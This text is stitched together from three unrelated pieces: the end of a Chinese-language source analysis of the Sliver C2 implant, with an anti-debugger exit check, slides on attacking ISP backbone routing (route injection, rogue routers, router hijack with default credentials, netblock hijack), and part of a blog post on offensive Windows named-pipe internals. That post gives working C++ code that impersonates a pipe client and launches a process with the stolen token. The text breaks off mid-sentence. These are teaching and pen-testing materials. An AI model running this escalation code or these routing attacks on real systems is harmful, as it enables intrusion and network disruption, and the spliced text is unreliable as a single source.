GetRootAppDir() string { value := os.Getenv(envVarName) var dir string if len(value) == 0 { user, _ := user.Current() dir = path.Join(user.HomeDir, ".sliver") } else { dir = value } if _, err := os.Stat(dir); os.IsNotExist(err) { err = os.MkdirAll(dir, 0700) if err != nil { setupLog.Fatalf("Cannot write to sliver root dir %s", err) } } return dir } 单独给⼀个 cmd.exec设置环境变量 cmd := exec.Command(garbleBinPath, command...) cmd.Dir = cwd cmd.Env = []string{ fmt.Sprintf("CC=%s", config.CC), fmt.Sprintf("CGO_ENABLED=%s", config.CGO), fmt.Sprintf("GOOS=%s", config.GOOS), fmt.Sprintf("GOARCH=%s", config.GOARCH), fmt.Sprintf("GOPATH=%s", config.ProjectDir), fmt.Sprintf("GOCACHE=%s", config.GOCACHE), fmt.Sprintf("GOMODCACHE=%s", config.GOMODCACHE), fmt.Sprintf("GOPROXY=%s", config.GOPROXY), sliver 简单使⽤及源码浅析 32 fmt.Sprintf("GARBLE_MAX_LITERAL_SIZE=%s", garbleMaxLiteralSize()), fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY), fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY), fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")), fmt.Sprintf("GOGARBLE=%s", config.GOGARBLE), } var stdout bytes.Buffer var stderr bytes.Buffer cmd.Stdout = &stdout cmd.Stderr = &stderr go原⽣log设置输出格式 在 sliver 的stager上的⽇志输出开始使⽤了 log.SetFlags(log.LstdFlags | log.Lshortfile) 这样的定义 具体的含义是控制⽇志输出格式 const ( Ldate = 1 << iota //⽇期⽰例: 2009/01/23 Ltime //时间⽰例: 01:23:23 Lmicroseconds //毫秒⽰例: 01:23:23.123123. Llongfile //绝对路径和⾏号: /a/b/c/d.go:23 Lshortfile //⽂件和⾏号: d.go:23. LUTC //⽇期时间转为0时区的 LstdFlags = Ldate | Ltime //Go提供的标准抬头信息 ) 原⽣的log还可以设置开头如 func init(){ log.SetPrefix("【UserCenter】") log.SetFlags(log.LstdFlags | log.Lshortfile ) } 判断程序是否被调试 func PlatformLimits() { kernel32 := syscall.MustLoadDLL("kernel32.dll") isDebuggerPresent := kernel32.MustFindProc("IsDebuggerPresent") var nargs uintptr = 0 ret, _, _ := isDebuggerPresent.Call(nargs) // {{if .Config.Debug}} log.Printf("IsDebuggerPresent = %#v\n", int32(ret)) // {{end}} if int32(ret) != 0 { os.Exit(1) } } go模板的使⽤ 类似 jianjia的语法 可以结合注释使⽤ 可以⽤来⽣成⼀些⽂件代码 例如go html等 就不需要拼接了 可以参考 sliver 简单使⽤及源码浅析 33 https://blog.csdn.net/guyan0319/article/details/89083721 go fallthrough switch case 中使⽤ 默认每个case都有break 当匹配直接break 加了 fallthrough 会强制执⾏后⾯的⼀个case代码 只针对后⾯的⼀个 在 sliver中就是 http 和https 的匹配 即先⽤https的case fallthrough 然后再下⼀个是http 简单的⽣成随机字符串的⽅式 // GenerateOperatorToken - Generate a new operator auth token func GenerateOperatorToken() string { buf := make([]byte, 32) n, err := rand.Read(buf) if err != nil || n != len(buf) { panic(errors.New("failed to read from secure rand")) } return hex.EncodeToString(buf) } 我的更多的源码分析可以在这⾥看到 https://github.com/Ciyfly/Source_code_learning
pdf
Pen-Testing the Backbone Raven, NMRC [email protected] White box, black box? ● Black box testing is good for external recon and data gathering. ● However, it's far more difficult and likely to be destructive in implementation. ● Many or most backbone vulnerabilites are denial- of-service oriented. ● Since people get unhappy when you break their ISP, white-box testing is preferred. Initial Reconnaissance ● Choose your target – search the registars for their address blocks, allocated autonomous systems, and other data. (Contacts if not role account, etc.) ● Look on route servers and Internet maps to try to determine their peering. ● Throw everything you get into Google, recurse when necessary to build a profile of the network. ● Check mailing list archives for likely config details and public peering points. Vendor-specific details ● Each vendor has their own advisory and vulnerability disclosure practices. Become familiar with these for each vendor on your target network. ● Acquire CCO, Juniper, etc. site logins when necessary to supplement vulnerability information. ● Don't forget the switches – this should go for all your network gear. Code train vulnerabilities ● Check the vulnerabilities specific to each code train implemented in your network. ● Also check vulnerabilities in stacks/implementations that your current code train is derived from. BSD stack vulnerabilities are worth checking for Cisco IOS and JunOS boxes, for example. ● Some scanners incorporate these checks, but many may need to be done by hand. Beware of unintentional DoS while scanning. Failure paths and trust relationships ● Architectural review – check for redunancy, network robustness, and security. ● Do your authentication means have redundancy? Fallback? What is the weakest form of authentication one can force? ● Once authenticated, is trust transitive? Can one log in directly from one backbone router to another? Are source IP addresses restricted? ● Is there a single point of transit or authentication failure? What happens when it fails? Failure and Trust II ● If there is centralized authentication, how many servers are there? Are they hardened? ● Are authentication credentials sent cleartext? ● Where can you access the authentication server from? Often it's whitelisted in ACLs, so once owned, it's a free ticket into the infrastructure. ● Can one set up a MitM attack against the authentication server to harvest credentials? ObSlide – Physical Security ● Make sure all data centers and peering points have good physical security. ● Test this. Repeatedly. Often. ● Many of these attacks are only possible with local injection or access. Make sure that doesn't happen. ● Good physical security is half the game. Data Leaks ● Check for data leaks at the network border – connect to the switch and fire up a sniffer. This is particularly valuable at an exchange point with a port in promiscuous mode. – Cisco Discovery Protocol – Routing protocol information – Leaked switching data Protocol injection – speak my route? ● If you can see the data, you can spoof the data. ● Fake a routing annoucement and inject it. See if it gets picked up. ● For cheapass DoS, tear down links with spoofed packets. (Almost no clients want this level of testing.) ● Many routing protocols are unauthenticated. This is insecure. Rogue router ● Connecting a new router to many data centers is easier than you'd think. ● Plug in to the exchanging switch. ● Depending on what data is being advertised, try to speak their routing protocols with a similar configuration. ● Depending on your contract with the client, you may even be able to replace their router with one of your own. Pwn3d router ● If you have been able to get authentication credentials, or force a login (cisco/cisco, admin/company name, etc.), router hijack is possible. ● Traffic redirection into a tunnel of your choice is possible. ● You may be able to advertise additional netblocks in a preferred fashion without authorization, affecting routing for the whole network. Netblock hijack ● It is also possible to announce and route other peoples' netblocks without authorization, if you can convince your upstream to take the route. ● This has happened – spammers stole a legitimately owned large netblock, announced it through their ISP, spammed for about a week, and disconnected. This left the original owners nullrouted for a week, blacklisted everywhere, and with a huge mob of angry people at their door. Configuration Review ● Check the configurations of your client against: – Secure BGP Template http://www.cymru.com/Documents/secure-bgp-template.html – Secure IOS Template http://www.cymru.com/Documents/secure-ios-template.html – Secure JunOS Template http://www.cymru.com/gillsr/documents/junos-template.pdf – Secure JunOS BGP Template http://www.cymru.com/gillsr/documents/junos-bgp-template.pdf Peering Security ● Check the peering configuration of your target network. ● Data may be advertised from route servers. ● Ensure that authentication is in place for peering changes. ● Ensure that machines which are used for network policy are well secured. Thank you ● Feel free to contact me regarding this talk, or with feedback or additional ideas, at [email protected]
pdf
 0xcsandker  csandker  RSS Feed //Posts //History of Windows //Archive //Tags & Search //ME  Switch Theme Offensive Windows IPC Internals 1: Named Pipes 10 Jan 2021 (Last Updated: 7 1⽉ 2022) >> Introduction >> Named Pipe Messaging >> Data Transfer Modes >> Overlapping Pipe I/O, Blocking mode & In-/Out Buffers >> Named Pipe Security >> Impersonation >> Impersonating a Named Pipe Client >> Attack Surface >> Client Impersonation >> Attack scenario >> Prerequisites >> Misleading Documentation Contents: >> Implementation >> Instance Creation Race Condition >> Attack scenario >> Prerequisites >> Implementation >> Instance Creation Special Flavors >> Unanswered Pipe Connections >> Killing Pipe Servers >> PeekNamedPipe >> Prerequisites >> Implementation >> References >> The Series: Part 2 This post marks the start of a series of posts about the internals and interesting bits of various Windows based Inter-Process-Communication (IPC) technology components. Initially this series will cover the following topics: >> Named Pipes >> LPC >> ALPC >> RPC A few IPC technology components are therefore left out, but I might append this series sometime and include for example some of these: >> Window Messages >> DDE (which is based on Window Messages) >> Windows Sockets >> Mail Slots Alright so let’s get down to it with Named Pipes… Although the name might sound a bit odd pipes are a very basic and simple technology to enable communication and share data between two processes, where the term pipe simply describes a section of shared memory used by these two processes. To term this correctly right from the beginning, the IPC technology we’re speaking about is called ‘pipes’ and there are two types of pipes: >> Named Pipes >> Anonymous Pipes Most of the time when speaking about pipes you’re likely referring to Named Pipes as these offer the full feature set, where anonymous pipes are mostly used for child-parent communications. This also implies: Pipe communication can be Introduction between two processes on the same system (with named and anonymous pipes), but can also be made across machine boundaries (only named pipes can talk across machine boundaries). As Named Pipes are most relevant and support the full feature set, this post will focus only on Named Pipes. To add some historical background for Named Pipes: Named Pipes originated from the OS/2 times. It’s hart to pin down the exact release date named pipes were introduced to Windows, but at least it can be said that it must have been supported in Windows 3.1 in 1992 - as this support is stated in the Windows/DOS Developer’s Journal Volume 4, so it’s fair to assume named pipes have been added to Windows in the early 1990’s. Before we dive into the Named Pipe internals, please take note that a few code snippets will follow that are taken from my public Named Pipe Sample Implementation. Whenever you feel you want some more context around the snippets head over to the code repo and review the bigger picture. Alright so let’s break things down to get a hold of Named Pipe internals. When you’ve never heard of Named Pipes before imaging this communication technology like a real, steel pipe - you got a hollow bar with two ends and if you shout something into one end a listener will hear your words on the other end. That’s all a Named Pipe does, it transports information from one end to another. If you’re a Unix user you sure have used pipes before (as this is not a pure Windows technology) with something like this: cat file.txt | wc -l . A command that outputs the contents of file.txt , but instead of displaying the output to STDOUT (which could be your terminal window) the output is redirected (“piped”) to the input of your second command wc -l , which thereby counts the lines of your le. That’s an example of an anonymous pipe. A Windows based Named Pipe is as easily understood as the above example. To enable us to use the full feature set of pipes, we’ll move away from Anonymous Pipes and create a Server and a Client that talk to each other. A Named Pipe simply is an Object, more specically a FILE_OBJECT, that is managed by a special le system, the Named Pipe File System (NPFS): Named Pipe Messaging When you create a Named Pipe, let’s say we call it ‘fpipe’, under the hood you’re creating a FILE_OBJECT with your given name of ‘fpipe’ (hence: named pipe) on a special device drive called ‘pipe’. Let’s wrap that into a something practical. A named pipe is created by calling the WinAPI function CreateNamedPipe, such as with the below [Source]: HANDLE serverPipe = CreateNamedPipe( L"\\\\.\\pipe\\fpipe", // name of our pipe, must be in the fo rm of \\.\pipe\<NAME> PIPE_ACCESS_DUPLEX, // open mode, specifying a duplex pipe so serv er and client can send and receive data PIPE_TYPE_MESSAGE, // MESSAGE mode to send/receive messages in di screte units (instead of a byte stream) 1, // number of instanced for this pipe, 1 is eno ugh for our use case 2048, // output buffer size 2048, // input buffer size 0, // default timeout value, equal to 50 millisec onds NULL // use default security attributes ); For now the most interesting part of this call is the \\\\.\\pipe\\fpipe . C++ requires escaping of slashes, so language independent this is equal to \\.\pipe\fpipe . The leading ‘\.’ refers to your machines global root directory, where the term ‘pipe’ is a symbolic link to the NamedPipe Device. Since a Named Pipe Object is a FILE_OBJECT, accessing the named pipe we just created is equal to accessing a “normal” le. Therefore connecting to a named pipe from a client is therefore as easy as calling CreateFile [Source]: HANDLE hPipeFile = CreateFile(L"\\\\127.0.0.1\\pipe\\fpipe", GENERIC_R EAD | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); Once connected reading from a pipe just needs a call to ReadFile [Source]: ReadFile(hPipeFile, pReadBuf, MESSAGE_SIZE, pdwBytesRead, NULL); Before you can read some data off a pipe, you want your server to write some data to it (which you can read.). That is done by calling - who would have guessed it - WriteFile [Source]: WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL); But what actually happens when you “write” to a pipe? Once a client connects to your server pipe, the pipe that you created is no longer in a listening state and data can be written to it. The user land call to WriteFile is dispatched to kernel land, where NtWriteFile is called, which determines all the bits and pieces about the Write-Operation, e.g. which device object is associated with the given le, whether or not the Write-Operation should be made synchronous (see section Overlapping Pipe I/O, Blocking mode & In-/Out Buffers), the I/O Request Packet (IRP) is set up and eventually NtWriteFile takes care that your data is written to the le. In our case the specied data is not written to an actual le on disk, but to a shared memory section that is referenced by the le handle return from CreateNamedPipe . Finally - as mentioned in the introduction - Named Pipes can also be used over a network connection across system boundaries. There are no additional implementations needed to call a remote Named Pipe server, just make sure that your call to CreateFile species an IP or hostname (as with the example above). Let’s make a guess: What network protocol will be used when calling a remote pipe server? …. drum rolls … absolutely unsurprising it is SMB. An SMB connection is made to the remote server, which is by default initialized by a negotiation request to determine the network authentication protocol. Unlike with other IPC mechanisms, such as with RPC, you as a server developer can not control the network authentication protocol as this is always negotiated through SMB. Since Kerberos is the preferred authentication scheme since Windows 2000, Kerberos will be negotiated if possible. Note: From a client perspective you can effectively choose the authentication protocol by choosing to connect to a hostname or to an IP. Due to the design of Kerberos it cannot handle IPs very well and as such if you choose to connect to an IP address the result of the negotiation will always be NTLM(v2). Whereas when you connect to a hostname you will most likely always end up using Kerberos. Once the authentication is settled, the actions that client and server want to perform are once again just classic le actions, that are handled by SMB just as any other le operation, e.g. by starting a ‘Create Request File’ request as shown below: Named pipes offer two basic communication modes: byte mode and message mode. In byte mode, messages travel as a continuous stream of bytes between the client and the server. This means that a client application and a server application do not know precisely how many bytes are being read from or written to a pipe at any given moment. Therefore a write on one side will not always result in a same-size read on the other. This allows a client and a server to transfer data without caring about the size of the data. In message mode, the client and the server send and receive data in discrete units. Every time a message is sent on the pipe, it must be read as a complete message. If you read from a server pipe in message mode, but your read buffer is too small to hold all of the data then the portion of data that ts in your buffer will be copied over to it, the remaining data stays in the server’s shared memory section and you’ll get an error 234 (0xEA, ERROR_MORE_DATA) to indicate that there is more data to fetch. A visual comparison of the messages modes is shown below, taken from “Network programming for Microsoft Windows” (1999): Data Transfer Modes Overlapping I/O, Blocking mode and In-/Out Buffers are not amazingly important from a security standpoint, but being aware that these exists and what they mean can aid understanding, communication, building and debugging named pipes. Therefore I will add these concepts here briey. Overlapping I/O Several Named Pipe related functions, such as ReadFile, WriteFile, TransactNamedPipe, and ConnectNamedPipe can perform pipe operations either synchronous, meaning the executing thread is waiting for the operation to complete before continuing, or asynchronous, meaning the executing thread res the action and continues without waiting for its completion. It’s important to note that asynchronous pipe operations can only be made on a pipe (server) that allows overlapped I/O by setting the FILE_FLAG_OVERLAPPED within the CreateNamedPipe call. Asynchronous calls can be made either by specifying an OVERLAPPED structure as the last parameter to each of the above mentioned ‘standard’ pipe actions. such as ReadFile, or by specifying a COMPLETION_ROUTINE as the last parameter to the ‘extended’ pipe actions, such as ReadFileEx. The former, OVERLAPPED structure, method is event based, meaning an event object must be created and is signaled once the operation is completed, while the COMPLETION_ROUTINE method is callback based, meaning a callback routine is passed to the executing thread, which is queued and executed once signaled. More details on this can be found here with a sample implementation by Microsoft here. Blocking mode The blocking mode behavior is dened when setting up a named pipe server with CreateNamedPipe by using (or omitting) a ag in the dwPipeMode parameter. The following two dwPipeMode ags dene the blocking mode of the server: >> PIPE_WAIT (default): Blocking mode enabled. When using named pipe operations, such as ReadFile on a pipe that enabled blocking mode the operation waits for completion. Meaning that a read operation on such a pipe Overlapping Pipe I/O, Blocking mode & In-/Out Buffers would wait until there is data to read, a write operation would wait until all data is written. This can of course cause an operation to wait indenitely in some situations. >> PIPE_NOWAIT: Blocking mode disabled. Named pipe operations, such as ReadFile, return immediately. You need routines, such as Overlapping I/O, to ensure all data is read or written. In-/Out Buffers By In-/Out Buffers I’m referring to the input and output buffers of the named pipe server that you create when calling CreateNamedPipe and more precisely to the sizes of these buffers in the nInBufferSize and nOutBufferSize parameters. When performing read and write operations your named pipe server uses non-paged memory (meaning physical memory) to temporarily store data which is to be read or written. An attacker who is allowed to inuence these values for a created server can abuse these to potentially cause a system crash by choosing large buffers or to delay pipe operations by choosing a small buffer (e.g. 0): >> Large buffers: As the In-/Out Buffers are non-paged the server will run out of memory if they are chosen too big. However, the nInBufferSize and nOutBufferSize parameters are not ‘blindly’ accepted by the system. The upper limit is dened by a system depended constant; I couldn’t nd super accurate information about this constant (and didn’t dig through the headers); This post indicates that it’s ~4GB for an x64 Windows7 system. >> Small buffers: A buffer size of 0 is absolutely valid for nInBufferSize and nOutBufferSize. If the system would strictly enforce what it’s been told you wouldn’t be able to write anything to your pipe, cause a buffer of size 0 is … well, a not existing buffer. Gladly the system is smart enough to understand that you’re asking for a minimum buffer and will therefore expand the actual buffer allocated to the size it receives, but that comes with a consequence to performance. A buffer size of 0 means every byte must be read by the process on the other side of the pipe (and thereby clearing the buffer) before new data can be written to the buffer. This is true for both, the nInBufferSize and nOutBufferSize. A buffer of size 0 could thereby cause server delays. Once again we can make this chapter about how to set and control the security of a named pipe rather short, but it’s important to be aware how this is done. The only gear you can turn when you want to secure your named pipe setup is setting a Security Descriptor for the named pipe server as the last parameter (lpSecurityAttributes) to the CreateNamedPipe call. If you want some background on what a Security Descriptor is, how it’s used and how it could look like you’ll nd the answers in my post A Windows Authorization Guide. Named Pipe Security Setting this Security Descriptor is optional; A default Security Descriptor can be be set by specifying NULL to the lpSecurityAttributes parameter. The Windows docs dene what the default Security Descriptor does for your named pipe server: The ACLs in the default security descriptor for a named pipe grant full control to the LocalSystem account, administrators, and the creator owner. They also grant read access to members of the Everyone group and the anonymous account. Source: CreateNamedPipe > Paremter > lpSecurityAttributes So by default Everyone can read from your named pipe server if you don’t specify a Security Descriptor, regardless if the reading client is on the same machine or not. If you connect to a named pipe server without a Security Descriptor set but still get an Access Denied Error (error code: 5) be sure you’ve only specied READ access (note that the example above species READ and WRITE access with GENERIC_READ | GENERIC_WRITE ). For remote connections, note once again - as described at the end of the Named Pipe Messaging chapter - that the network authentication protocol is negotiated between the client and server through the SMB protocol. There is no way to programmatically enforce the use of the stronger Kerberos protocol (you only could disable NTLM on the server host). Impersonation is a simple concept that we’ll need in the following section to talk about attack vectors with named pipes. If you’re familiar with Impersonation feel free to skip this section; Impersonation is not specic to Named Pipes. If you’re not yet came across Impersonation in a Windows environment, let me summarize this concept quickly for you: Impersonation is the ability of a thread to execute in a security context different from the security context of the process that owns the thread. Impersonation typically applies in a Client-Server architecture where a client connects to the server and the server could (if needed) impersonate the client. Impersonation enables the server (thread) to perform actions on behalf of the client, but within the limits of the client’s access rights. A typical scenario would be a server that wants the access some records (say in database), but only the client is allowed to access its own records. The server could now reply back to the client, asking to fetch the records itself and send these over to the server, or the server could use an authorization protocol to prove the client allowed the server to access the record, or - and this is what Impersonation is - the client sends the server some identication information and allows the server to switch into the role of the client. Somewhat like the client giving its driver license Impersonation to the server along with the permission to use that license to identify towards other parties, such as a gatekeeper (or more technically a database server). The identication information, such as the information specifying who the client is (such as the SID) are packed in a structure called a security context. This structure is baked deeply into the internals of the operating system and is a required piece of information for inter process communication. Due to that the client can’t make an IPC call without a security context, but it needs a way to specify what it allows the server to know about and do with its identity. To control that Microsoft created so called Impersonation Levels. The SECURITY_IMPERSONATION_LEVEL enumeration structure denes four Impersonation Levels that determine the operations a server can perform in the client’s context. SECURITY_IMPERSONATION_LEVEL Description SecurityAnonymous The server cannot impersonate or identify the client. SecurityIdentication The server can get the identity and privileges of the client, but cannot impersonate the client. SecurityImpersonation The server can impersonate the client’s security context on the local system. SecurityDelegation The server can impersonate the client’s security context on remote systems. For more background information on Impersonation have a read through Microsoft’s docs for Client Impersonation. For some context around Impersonation have a look at the Access Tokens and the following Impersonation section in my post about Windows Authorization. Okay, so while we’re on the topic and in case you’re not totally bored yet. Let’s have a quick run down of what actually happens under the hood if a server impersonated a client. If you’re more interested in how to implement this, you’ll nd the answer in my sample implementation here. >> Step 1: The server waits for an incoming connection from a client and afterwards calls the ImpersonateNamedPipeClient function. >> Step 2: This call results in a call to NtCreateEvent (to create a callback event) and to NtFsControlFile, which is the function executing the impersonation. >> Step 3: NtFsControlFile is a general purpose function where its action is specied by an argument, which in this case is FSCTL_PIPE_Impersonate. Impersonating a Named Pipe Client The below is based on the open source code of ReactOS, but i think it’s fair to assume the Windows Kernel Team implemented it in a similar way. >> Step 4: Further down the call stack NpCommonFileSystemControl is called where FSCTL_PIPE_IMPERSONATE is passed as an argument and used in a switch-case instruction to determine what to do. >> Step 5: NpCommonFileSystemControl calls NbAcquireExeclusiveVcb to lock an object and NpImpersonate is called given the server’s pipe object and the IRP (I/O Request Object) issued by the client. >> Step 6: NpImpersonate then in turn calls SeImpersonateClientEx with the client’s security context, which has been obtained from the client’s IRP, as a parameter. >> Step 7: SeImpersonateClientEx in turn calls PsImpersonateClient with the server’s thread object and the client’s security token, which is extracted from the client’s security context >> Step 8: The server’s thread context is then changed to the client’s security context. >> Step 9: Any action the server takes and any function the server calls while in the security context of the client are made with the identify of the client and thereby impersonating the client. >> Step 10: If the server is done with what it intended to do while being the client, the server calls RevertToSelf to switch back to its own, original thread context. Sooo nally we’re talking about attack surface. The most important attack vector based on named pipes is Impersonation. Luckily we’ve introduced and understood the concept of Impersonation already in the above section, so we can dive right in. Impersonation with named pipes can best be abused when you got a service, program or routine that allows you to specify or control to access a le (doesn’t matter if it allows you READ or WRITE access or both). Due to the fact that Named Pipes are basically FILE_OBJECTs and operate on the same access functions as regular les (ReadFile, WriteFile, CreateFile, …) you can specify a named pipe instead of a regular le name and make your victim process connect to a named pipe under your control. There are two important aspects you need to check when attempting to impersonate a client. The rst is to check how the client implements the le access, more specically does the client specify the SECURITY_SQOS_PRESENT ag when calling CreateFile ? Attack Surface Client Impersonation Attack scenario Prerequisites A vulnerable call to CreateFile looks like this: hFile = CreateFile(pipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); Whereas a safe call to CreateFile like this: // calling with explicit SECURITY_IMPERSONATION_LEVEL hFile = CreateFile(pipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, SEC URITY_SQOS_PRESENT | SECURITY_IDENTIFICATION , NULL); // calling without explicit SECURITY_IMPERSONATION_LEVEL hFile = CreateFile(pipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, SEC URITY_SQOS_PRESENT, NULL); By default a call without explicitly specifying the SECURITY_IMPERSONATION_LEVEL (as with the later example above) is made with the Impersonation Level of SecurityAnonymous. If the SECURITY_SQOS_PRESENT ag is set without any additional Impersonation Level (IL) or with an IL set to SECURITY_IDENTIFICATION or SECURITY_ANONYMOUS you cannot impersonate the client. The second important aspect to check is the le name, aka. the lpFileName parameter, given to CreateFile. There is an important distinction between calling local named pipes or calling remote named pipes. A call to a local named pipe is dened by the le location \\.\pipe\<SomeName> . Calls to local pipes can only be impersonated when the SECURITY_SQOS_PRESENT ag is explicitly set with an Impersonation Level above SECURITY_IDENTIFICATION. Therefore a vulnerable call looks like this: hFile = CreateFile(L"\\.\pipe\fpipe", GENERIC_READ, 0, NULL, OPEN_EXIS TING, SECURITY_SQOS_PRESENT | SECURITY_IMPERSONATION, NULL); To be clear. A safe call to a local pipe would look like this: hFile = CreateFile(L"\\.\pipe\fpipe", GENERIC_READ, 0, NULL, OPEN_EXIS TING, 0, NULL); This later call is safe even without the SECURITY_SQOS_PRESENT, because a local pipe is called. A remote named pipe on the other hand is dened by a lpFileName beginning with a hostname or an IP, such as: \\ServerA.domain.local\pipe\<SomeName> . Now comes the important bit: When the SECURITY_SQOS_PRESENT ag is not present and a remote named pipe is called the impersonation level is dened by the user privileges running the name pipe server. That means that when you call a remote named pipe without the SECURITY_SQOS_PRESENT ag, your attacker user that runs the pipe must hold the SeImpersonatePrivilege (SE_IMPERSONATE_NAME) in order to impersonate the client. If your user does not hold this privilege the Impersonation Level will be set to SecurityIdentication (which allows you to identify, but not impersonate the user). But that also means that if your user holds the SeEnableDelegationPrivilege (SE_ENABLE_DELEGATION_NAME), the Impersonation Level is set to SecurityDelegation and you can even authenticate the victim user against other network services. An important take away here is: You can make a remote pipe call to a named pipe running on the same machine by specifying \\127.0.0.1\pipe\<SomeName> To nally bring the pieces together: >> If the SECURITY_SQOS_PRESENT is not set you can impersonate a client if you have a user with at least SE_IMPERSONATE_NAME privileges, but for named pipes running on the same machine you need to call them via \\127.0.0.1\pipe\... >> If the SECURITY_SQOS_PRESENT is set you can only impersonate a client if an Impersonation Level above SECURITY_IDENTIFICATION is set along with it (regardless if you call a named pipe locally or remote). Microsoft’s documentation about Impersonation Levels (Authorization) states the following: When the named pipe, RPC, or DDE connection is remote, the ags passed to CreateFile to set the impersonation level are ignored. In this case, the impersonation level of the client is determined by the impersonation levels enabled by the server, which is set by a ag on the server’s account in the directory service. For example, if the server is enabled for delegation, the client’s impersonation level will also be set to delegation even if the ags passed to CreateFile specify the identication impersonation level. Source: Windows Docs: Impersonation Levels (Authorization) Be aware here that this is technically true, but it’s somewhat misleading… The accurate version is: When calling a remote named pipe and you only specify Impersonation Level ags (and nothing else) to CreateFile then these will be ignore, Misleading Documentation but if you specify Impersonation Flags alongside with the SECURITY_SQOS_PRESENT ag, then these will be respected. Examples: // In the below call the SECURITY_IDENTIFICATION flag will be respecte d by the remote server hFile = CreateFile(L"\\ServerA.domain.local", GENERIC_READ, 0, NULL, O PEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, NULL); /* --> The server will obtain a SECURITY_IDENTIFICATION token */ // In this call the SECURITY_IDENTIFICATION flag will be ignored hFile = CreateFile(L"\\ServerA.domain.local", GENERIC_READ, 0, NULL, O PEN_EXISTING, SECURITY_IDENTIFICATION, NULL); /* --> The server will obtain a token based on the privileges of the u ser running the server. A user holding SeImpersonatePrivilege will get an SECURITY_IMP ERSONATION token */ // In this call the Impersonation Level will default to SECURITY_ANONY MOUS and will be respected hFile = CreateFile(L"\\ServerA.domain.local", GENERIC_READ, 0, NULL, O PEN_EXISTING, SECURITY_SQOS_PRESENT, NULL); /* --> The server will obtain a SECURITY_ANONYMOUS token. A call to O penThreadToken will result in error 1347 (0x543, ERROR_CANT_OPEN_ANONY MOUS)*/ You can nd an a full implementation in my sample code here. A quick run down of the implementation is shown below: // Create a server named pipe serverPipe = CreateNamedPipe( pipeName, // name of our pipe, must be in the form of \\.\pipe\<NAME> PIPE_ACCESS_DUPLEX, // The rest of the parameters don't really mat ter PIPE_TYPE_MESSAGE, // as all you want is impersonate the clien t... 1, // 2048, // 2048, // 0, // NULL // This should ne NULL so every client can connect ); // wait for pipe connections BOOL bPipeConnected = ConnectNamedPipe(serverPipe, NULL); // Impersonate client BOOL bImpersonated = ImpersonateNamedPipeClient(serverPipe); // if successful open Thread token - your current thread token is now the client's token BOOL bSuccess = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken); // now you got the client token saved in hToken and you can safeyl rev ert back to self bSuccess = RevertToSelf(); // Now duplicate the client's token to get a Primary token bSuccess = DuplicateTokenEx(hToken, Implementation TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuppedToken ); // If that succeeds you got a Primary token as hDuppedToken and you ca n create a proccess with that token CreateProcessWithTokenW(hDuppedToken, LOGON_WITH_PROFILE, command, NUL L, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); The result can be seen below: There are some catches when you implement this on your own: >> When you create a process with CreateProcessWithTokenW, you need to RevertToSelf before calling CreateProcessWithTokenW otherwise you’ll receive an error. >> When you want to create a window based process (something with a window that pops up, such as calc.exe or cmd.exe) you need to grant the client access to your Window and Desktop. A sample implementation allowing all users to access to your Window and Desktop can be found here. Named Pipes instances are created and live within a global ‘namespace’ (actually technically there is no namespace, but this aids understanding that all named pipes live under to same roof) within the Name Pipe File System (NPFS) device drive. Moreover multiple named pipes with the same name can exist under this one roof. So what happens if an application creates a named pipe that already exists? Well if you don’t set the right ags nothing happens, meaning you won’t get an error and even worse you won’t get client connections, due to the fact that Named Pipe instances are organized in a FIFO (First In First Out) stack. This design makes Named Pipes vulnerable for instance creation race condition vulnerabilities. The attack scenario to exploit such a race condition is as follows: You’ve identied a service, program or routine that creates a named pipe that is used by client applications running in a different security context (let’s say they run under the NT Service user). The server creates a named pipe for communication with the client application(s). Once in a while a client connects to the server’s named pipe - it Instance Creation Race Condition Attack scenario wouldn’t be uncommon if the server application triggers the clients to connect after the server pipe is created. You gure out when and how the server is started and the name of the pipe it creates. Now you’re writing a program that creates a named pipe with the same name in a scenario where your named pipe instance is created before the target server’s named pipe. If the server’s named pipe is created insecurely it will not notice that a named pipe with the same name already exist and will trigger the clients to connect. Due to the FIFO stack the clients will connect to you and you can read or write their data or try to impersonate the clients. For this attack to work you need a target server that doesn’t check if a named pipe with the same name already exists. Usually a server doesn’t have extra code to check manually if a pipe with the same name already exists - thinking about it you would expect to get an error if your pipe name already exists right? But that doesn’t happen because two named pipe instances with the same name are absolutely valid … for whatever reason. But to counter this attack Microsoft has added the FILE_FLAG_FIRST_PIPE_INSTANCE ag that can be specied when creating your named pipe through CreateNamedPipe. When this ag is set your create call will return an INVALID_HANDLE_VALUE, which will cause an error in a subsequent call to ConnectNamedPipe. If you’re target server does not specify the FILE_FLAG_FIRST_PIPE_INSTANCE ag it is likely vulnerable, however there is one additional thing you need to be aware of on the attacker side. When creating a named pipe through CreateNamedPipe there is a nMaxInstances parameter, which species…: The maximum number of instances that can be created for this pipe. The rst instance of the pipe can specify this value; Source: CreateNamedPipe So if you set this to ‘1’ (as in the sample code above) you kill your own attack vector. To exploit an instance creation race condition vulnerability set this to PIPE_UNLIMITED_INSTANCES. All you need to do for exploitation is create a named pipe instance with the right name at the right time. My sample implementation here can be used as an implementation template. Throw this in you favorite IDE, set in your pipe name, ensure your named pipe is created with the PIPE_UNLIMITED_INSTANCES ag and re away. Prerequisites Implementation Instance Creation Special Flavors Unanswered Pipe Connections Unanswered pipe connections are those connection attempts issued by clients that - who would have guessed it - are not successful, hence unanswered, because the pipe that is requested by the client is not existing. The exploit potential here is quite clear and simple: If a client wants to connect to a pipe that’s not existing, we create a pipe that the client can connect to and attempt to manipulate the client with malicious communication or impersonate the client to gain additional privileges. This vulnerability is sometimes also referred to as superuous pipe connections (but in my mind that’s not the best terminology for it). The real question here is: How do we nd such clients? My initial immediate answer would have been: Fire up Procmon and search for failed CreateFile system calls. But I tested this and it turns out Procmon does not list these calls for pipes… maybe that is because the tool is only inspecting/listening on le operations through the NTFS driver, but i haven’t looked any deeper into this (maybe there is a trick/switch i didn’t know) - 